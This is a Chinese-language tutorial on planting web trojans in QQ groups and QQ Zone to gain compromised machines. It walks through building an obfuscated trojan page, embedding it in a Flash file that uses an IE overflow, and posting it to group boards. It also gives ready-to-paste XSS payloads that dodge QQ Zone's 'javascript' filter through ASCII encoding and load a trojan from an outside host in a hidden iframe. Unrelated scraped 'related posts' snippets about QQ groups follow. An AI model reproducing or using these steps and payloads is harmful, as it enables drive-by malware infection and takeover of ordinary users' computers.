在QQ群和QQ空间中挂马
一、QQ群中简简单单挂木马
在一个比较火的QQ群里挂上网页木马,一定很容易得到许多肉鸡的。怎么在QQ群里挂马,是在群里面群发木马的网址吗?现在已经不会有人上这样的当了。我们要作的只是在群里面发一个作了手脚的帖子。
步骤一:制作网页木马
在攻击前,我们首先要制作好一个木马网页。这里笔者使用了“上兴远程控制木马V2006”,这个木马功能非常强,以前笔者曾作过介绍。用上兴生成木马服务端程序“muma.exe”后,将服务端上传到某个网站上去,假设地址为“http://www.*****.com.cn/muma.exe”。
打开“南域剑盟网页木马生成器”,在中间的“URL”处填入木马的链接地址,点击“生成”按钮,将会在生成器当前目录下生成一个名为“script.txt”的文件(如图1)。用记事本打开刚才生成的“script.txt”文件,可以看到木马代码,代码是经过加密的,一般人很难看出这是网页木马代码来(如图2)。复制所有代码,然后将代码插入到任意一个正常的网页中,就可以得到一个网页木马了。
小提示:将木马代码插入正常的网页中,其位置一般是位于“”标记中间。
图1 用木马生成器生成木马代码
在以前的QQ群中,本来只需要发一张带图片的帖子就可以实现挂马的目的。不过现在QQ群也改版了,挂马就需要多一个步骤了,我们还需要将网页木马嵌入Flash文件中。
打开“SWF插马工具(Icode To SWF)”,在“SWF文件”中浏览选择本机上的某个正常的Flash文件;在“插入代码”中填写刚才与在的网页木马的链接地址(如图3)。然后点击“给我插”按钮,即可将网页木马链接插入到正常的Flash文件中了。SWF插马工具生成的Flash文件是利用了一个IE漏洞,对方打开Flash文件后,就会造成IE溢出,自动访问木马网页在后台下载运行木马程序。
图3 生成SWF木马
步骤三:在QQ群中挂马
首先将刚才生成的SWF木马文件上传到某个空间中,然后打开某个QQ群的BBS栏目,点击“发表新文章”。在新文章书写页面中点击“插入Flash”按钮,输入SWF木马文件的网络链接地址及长宽,然后点击后面的小钩按钮,插入Flash文件(如图4)。发表新文章后,当有人在QQ群中打开查看这篇文章时,就会自动播放Flash并在后台下载运行上兴木马服务端了。
图4 在QQ群中发布Flash木马
二、QQ空间玩挂马
自从腾讯推出QQ空间(QQ-zone)后,各种跨站漏洞便不断暴出。虽然腾讯已经对QQ-zone进行了一次全面的更新,禁止了运行自定义脚本,不过通过我们的测试,发现所做的限制是很简单的,只需要转换一下字符就可以突破限制,在QQ空间上任意挂马。
方法一:挂Flash木马
打开QQ空间后,在页面中点击“自定义”按钮,在弹出的工具条上依次单击“个性设置”→“新建模块”命令,也可在QQ空间页面中直接按下+组合键,打开自定义对话框。在弹出的网页对话框中输入任意“模块名称”,点击“提交”按钮,弹出创建成功的提示框。然后出现“添加内容”对话框,将其中的“网址”、“图片”中自带的“http://”删除,保持“链接名称”为空白。在“评论”中输入如下代码(如图5):
以下是引用片段:
“<img src="javascript:document.getElementById('Mlogo').innerHTML+='<div style=/'position:absolute;top:0;left:0;/'><EMBED src=/'http://www.binghewu.com.cn/muma.swf/' quality=high wmode=/'transparent/' WIDTH=/'925/' HEIGHT=/'655/' TYPE=/'application/x-shockwave-flash/'></div>';"> ”
代码中的Flash地址“http://www.binghewu.com.cn/muma.swf”,是刚才制作上传的SWF木马链接地址,可以更改为其它任意Flash木马文件地址。提交代码后,用户进入此QQ空间时,会自动打开显示上传的SWF木马Flash,从而在后台下载运行上兴木马服务端程序。
图5 通过自定义模块添加SWF木马
小提示:QQ空间是通过检测用户提交的代码中,是否含用“javascript”之类的字符进行过滤的。在上面的代码中,将脚本部分代码用ASCII编码之后替换躲过了过滤,如“javascript”可以替换为“javascrip”,“p”为“p”的ASCII编码。具体ASCII编码转换可到“http://www.killadm.ful.cn/ascii.asp”查询(如图6)。
上面的方法是直接在QQ空间中挂上一个Flash木马文件,实现的方法虽然比较简单,不过这个Flash文件有可能会让别人起疑心。既然我们可以在QQ空间中写入自定义代码,何不干脆直接挂上网页木马呢?
用上面同样的方法新建一个模块,代码如下:
以下是引用片段:
“<div id=DI><img src="javascript:DI.innerHTML='<iframe src="http://www.binghewu.com.cn/muma.htm" width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>'" style=display:none></div>”
同样的,在上面的代码中已经作了ASCII码转换躲过过滤;“http://www.binghewu.com.cn/muma.htm”是网页木马的链接地址,可以换成其它木马网页地址。代码中的其它语句是用来定义模块大小的,由于设置为0,该模块将在QQ空间中被隐藏,但是并不影响木马网页的打开与运行。这里为了说明攻击效果,笔者对代码作了一些修改,将木马网页显示为新浪首页,说明完全可以在QQ空间中打开其它木马网页的(如图7)。
图7 在QQ空间中挂上的新浪页面
怎么样,在QQ群和QQ空间中挂马是不是很简单?希望大家在上网的时候注意一下了。
在QQ群和QQ空间中挂马相关推荐
- html 点击加入qq群,怎么样加入QQ群?加入QQ群两种方式介绍
怎么样加入QQ群?加入QQ群通常用于2种方式,一种是已知QQ群号,我们只需要查找添加,另外一种是自行搜索找群,下面我们分别介绍下. 最近有网友问小编:怎样加入脚本之家QQ群啊?随后小编给其发了一个QQ ...
- qq好友列表获取导出,利用QQ协议实现好友数据备份,包含:qq好友、QQ分组、QQ群、qq群成员【附code源码】
qq好友列表获取导出,利用QQ协议实现qq好友数据备份,包含:qq好友.QQ分组.QQ群.qq群成员. 我们是在浏览器中的操作,接下来看看数据到底怎么获取的,我们通过Fiddler的查找功能,就可以查 ...
- 微信实现qq群的qq小冰功能
常玩qq的人应该知道qq群里可以引入一个"聊天机器人"qq小冰,而后可以在群里通过@qq小冰来达到调戏的目的 然而尿性的腾讯除了qq之外还有微信这样一款聊天的软件 本文目的就是注册 ...
- python 下载qq群文件,QQ群文件下载失败怎么办?解决QQ群文件下载失败的解决方法...
QQ群分享文件无法下载的问题很烦人,具体原因涉及到系统控件加载,防火墙,IE设置,internet选项等等,如果慢慢去排除花时间,麻烦,也不能解决.重装软件也不能解决问题,重装系统更是扯淡,那么这里给 ...
- html链接加入qq群,获取QQ群加群链接
# 获取QQ群加群链接 > 获取QQ群三种一键加群链接:电脑端无弹窗直接加群. ## 请求地址 > https://api88.net/api/qun/ ## 请求方式 > GET ...
- php获取QQ群成员QQ号,获取QQ群成员头像
写一个程序,输入qq群号码,把每个群成员的头像下载下来,保存到本地,图片名字取群昵称,如果没有群昵称,取qq名字 import requests,os url = 'https://qun.qq.co ...
- 在网页中挂马和清除木马的方法
网页挂马是攻击者惯用的入侵手段,其影响极其恶劣.不仅让站点管理者蒙羞,而且殃及池鱼使站点的浏览者遭殃.不管是站点维护者还是个人用户,掌握.了解一定的网页挂马及其防御技术是非常必要的. 1.关于网页挂马 ...
- 通过转让群的方法可以让16级以下的QQ号也能拥有QQ群(菜鸟QQ号不需开通QQ会员也能有群)
群转让有何要求? 1.接受者能接收群,且目前有创建新群的能力,否则不能接受转让. 2.转让两者是好友关系,并且好友关系在7天以上. ---------------------------------- ...
- python qq群_python qq群机器人怎么弄
展开全部 首先第一步就是打开网页版的qq,打开浏览器的开发者模式 这里可32313133353236313431303231363533e58685e5aeb931333361326362以监控所有的 ...
最新文章
- git track远程分支
- 独家 | 谷歌医学AI在生活中的精确度(附链接)
- C++实现数组中求第K大数
- 定位到某个单词_【侃侃单词】词根词缀记单词-loc
- linux优盘驱动目录,Linux U盘加载阵列卡驱动步骤(.dd或img).doc
- clion在使用sqlite3的时候,显示Undefined symbols for architecture x86_64错误的解决办法
- SQLServer 系统数据库
- [置顶]android ListView包含Checkbox滑动时状态改变
- Chef宣布100%开源,要走红帽模式?\n
- 使用instantclient_11_2和PL/SQL Developer工具包连接oracle 11g远程数据库
- html框架 book,HTML框架的基本结构的.doc
- 御剑仙侠服务器维护,修仙无双御剑仙侠
- leetcode 1336解题思路
- 数据智仓功能介绍(一)
- 选择题库中的试题动态生成试卷(word格式)
- BIM技术在家装中有5大应用,您知道吗?
- py0_二十一天计划书(前言以及本计划书)
- LBP算法的一些讲解
- strongbox-数论
- Win10 恢复后退键